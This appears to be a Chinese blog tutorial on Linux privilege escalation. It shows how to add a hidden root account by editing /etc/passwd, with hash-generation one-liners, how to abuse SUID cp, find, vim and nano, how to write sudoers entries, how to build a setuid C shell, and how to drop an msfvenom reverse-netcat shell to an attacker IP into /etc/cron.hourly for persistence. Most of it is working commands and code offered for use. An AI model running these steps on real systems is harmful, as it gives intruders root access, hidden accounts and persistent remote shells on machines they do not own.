利用/etc/passwd提权

个人认为,这种提权方式在现实场景中难以实现,条件太过苛刻,但是建立Linux下的隐藏账户是个不错的选择,灵感来自:https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/

  1. 利用条件

    • 拥有一个普通用户的权限
    • 普通用户有/etc/passwd的写权限
  2. 利用原理

    目前不是特别清楚,只知道Linux下的/etc/passwd用于标识账户信息,/etc/shadow用于标识密码信息,/etc/group用于标识用户组信息

  3. 利用细节

    直接修改/etc/passwd,先观察root用户的格式:

    root:x:0:0:root:/root:/bin/bash

    root表示用户名;x表示密码hash,0表示用户ID,0表示用户组ID,/root表示用户相关信息,/bin/bash表示该用户使用何种shell执行命令

    举个例子:

    test:passwd_hash:0:0::/bin/hash

    这里只要设置密码hash值即可,制作密码hash有以下几种方式:

    • OpenSSL

      openssl passwd -1 -salt salt password
    • mkpasswd

      mkpasswd -m SHA-512 password
    • Python

      python -c 'import crypt; print crypt.crypt("password","$6$salt")'
    • Perl

      perl -le 'print crypt("password","salt")'
    • PHP

      php -r "print(crypt('password','salt') . \"\n\");"

利用suid提权

灵感来自:https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

在Linux中,存在suid、guid、sticky,suid是一种权限类型,它允许拥有SUID的用户使用指定用户的权限执行文件,通常SUID表示文件的最高执行权限。一般Linux中文件的权限如0777,第一位0表示为特殊权限,7表示rwx(读写执行);对于第一位,如果是4表示拥有SUID权限,如果是2表示拥有GUID权限,如果是1表示,拥有sticky的权限,它能创建删除任何用户ID在目录中的文件

在实际复现时,发现确实还是挺实用的-.-,测试环境kali-2019.1

  1. 利用条件

    • 文件拥有SUID权限
    • 一个普通用户权限
  2. 利用原理

    本质上是间接利用了/etc/passwd提权,一般采用find / -perm -u=s -type f 2>/dev/null

  3. 利用细节

    • 利用cp命令提权

      第一:查看/bin/cp是否具备SUID权限

      whereis find
      find / -perm -u=s -type f 2>/dev/null

      第二:替换/etc/passwd

      先获取原本的/etc/passwd;然后在文件中添加一行用户信息,其中用户的hash制作可参考/etc/passwd提权中的方式;最后将篡改后的passwd文件覆盖/etc/passwd文件

      第三:第二步其实已经完成,此处可再利用cp命令反弹shell

      msfvenom -p cmd/unix/reverse_netcat lhost=攻击者IP lport=攻击者监听的端口 R
      # 生成并保存至1.sh文件中
      # 将反弹shell的脚本放置在计划任务中,使其每小时启动一次
      cp 1.sh /etc/cron.hourly/
    • 利用find命令提权

      第一:查看find命令所在的文件位置

      whereis find
      find / -perm -u=s -type f 2>/dev/null

      第二:使用find执行系统命令

      # 先创建一个空文件
      touch temp
      # 然后借助空文件执行系统命令
      find temp -exec "whoami" \;
      # 这几个命令比较相似,区别无非就是:有没有引号,有没有花括号,实际测试时,这条指令一切OK
      find /etc/passwd -exec whoami \;
      # 其它命令
      find /etc/passwd -exec whoami {} \;

      第三:扩展

      # 实际测试时,综合利用,发现还比较实用,因为find一般默认拥有SUID权限
      # 在测试时发现执行命令有时跟当前一般用户权限有关,如:重定向操作符无法正常使用,因为没有写权限
      # 这里采用一种迂回的方式,写文件
      # 使用dd命令生成一个空文件
      dd if=/dev/zero of=/var/www/html/1.txt bs=1 count=1
      # 然后使用sed替换文件内容
      sed -i 's/\x0/content/g' /var/www/html/1.txt
      # 使用这种方法,结合/etc/passwd提权方式,获取root权限
    • 利用vim编辑器提权

      第一:查看vim所在的文件位置

      which vim
      whereis vim
      find / -perm -u=s -type f 2>/dev/null

      第二:赋予普通用户sudo的权限

      # 通过修改sudoer文件给与指定用户sudo的权限
      visudo
      vim.basic /etc/sudoer
      # 在文件中写入一行数据
      username ALL=(ALL:ALL) ALL

      第三:验证用户是否拥有root权限

      # 直接进入root的交互命令行
      sudo bash
      # sudo查看shadow文件
      sudo cat /etc/shadow
    • 使用已保存的脚本提权

      个人觉得这种方式没另外几种实用性好

      #include<stdio.h>
      #include<unistd.h>
      #include<sys/types.h> int main()
      {
      setuid(geteuid());
      system("/bin/bash");
      return 0;
      }

      上述代码保存至文件payload.c

      使用以下命令生成一个拥有SUID的payload可执行文件

      gcc shell.c -o shell
      chmod u+s shell

      执行payload程序,获取root权限的交互shell

      ./payload
      id
    • 通过Nano编辑器提权

      第一:获取nano的文件位置

      which nano
      whereis nano
      find / -perm -u=s -type f 2>/dev/null

      第二:直接修改/etc/passwd

      # 编辑/etc/passwd
      nano /etc/passwd
      # 添加一行数据(参考/etc/passwd提权方式)
      test:password_hash:0:0::/root:/bin/bash

      第三:其实第二步已经达成目标,第三步可选[个人感觉不是很方便]

      # 编辑/etc/shadow
      nano /etc/shadow
      # 添加一行数据
      按照格式填写用户相关的密码hash

Linux提权(持续更新)的更多相关文章

  1. Linux提权:从入门到放弃

    *原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...

  2. Linux提权(1)-基础版~

    利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...

  3. 又一款linux提权辅助工具

    又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...

  4. 记一次初步Linux提权

    前言. 提权这么久了  还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器  要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...

  5. 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...

  6. 利用Metasploit进行Linux提权

    利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...

  7. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  8. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

  9. Linux提权中常见命令大全

    在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...

随机推荐

  1. nginx 快速安装

    必要条件 1能访问外网 2防火墙放开80 3有软件安装权限 依次执行以下命令 一.设置CentOS7的yum源及EPEL yum源 wget -O /etc/yum.repos.d/epel.repo ...

  2. tensorflow 出现KeyError: 'tulips\\8689672277_b289909f97_n.jpg'报错

    在学习tensorflow基础教程-图像章节过程中,按照官网教程学习的时候出现了以下报错 一开始很迷茫,按着教程走怎么会这样呢 ,上网查资料也没找到找到,没办法,只好自己找原因,根据提示KeyErro ...

  3. arcgis activeX 安全提示消除办法

    点击任何的一个ArcToolBox 工具,光标落在参数输入框时,会提示 "在此页面上的ActiveX控件和本页上的其他部分的交互可能不安全.你想允许这种交互操作吗? " 消除办法 ...

  4. C++学习---单链表的构建及操作

    #include <iostream> using namespace std; typedef struct LinkNode { int elem;//节点中的数据 struct Li ...

  5. 读高性能Mysql摘要

    类型相关 INT(1)和INT(20)对于存储和计算来说,意义是相同的,他不会限制值的合法范围,只是一些交互工具会用来显示字符的个数 默认是有符号的,可以指定为无符号,增加数据存储范围,如0-255, ...

  6. Linux常用系统文件目录结构

    Linux常用系统文件目录结构 bin:全称binary,含义是二进制.该目录中存储的都是一些二进制文件,文件都是可以被运行的. dev:该目录主要存放的是外接设备,例如硬盘.其他的光盘等.在其中的外 ...

  7. drf 视图使用及源码分析

    前言 drf视图的源码非常的绕,但是实现的功能却非常的神奇. 它能够帮你快速的解决ORM增删改查的重复代码,非常的方便好用. 下面是它源码中的一句话: class ViewSetMixin: &quo ...

  8. kubectl命令小妙招

    kubectl命令使用大全   中文: http://docs.kubernetes.org.cn/683.html [root@master-test ~]# kubectl --help kube ...

  9. python实现经典的排序算法

    排序 关注公众号"轻松学编程"了解更多. 1.冒泡排序 基本思想:比较相邻的元素大小,将小的前移,大的后移,就像水中的气泡一样,最小的元素经过几次移动,会最终浮到水面上.原地排序, ...

  10. 面试 之 nginx,负载,动静分离

    大家先看这个逻辑图 为什么我们要这样去架构我们的一个项目呢? 这样做的话,动态请求要先访问 A,A 转发访问 B,再由 B 返回结果给 A,A 最后又将结果返回给客户端这样是不是很麻烦? 最初开发的时 ...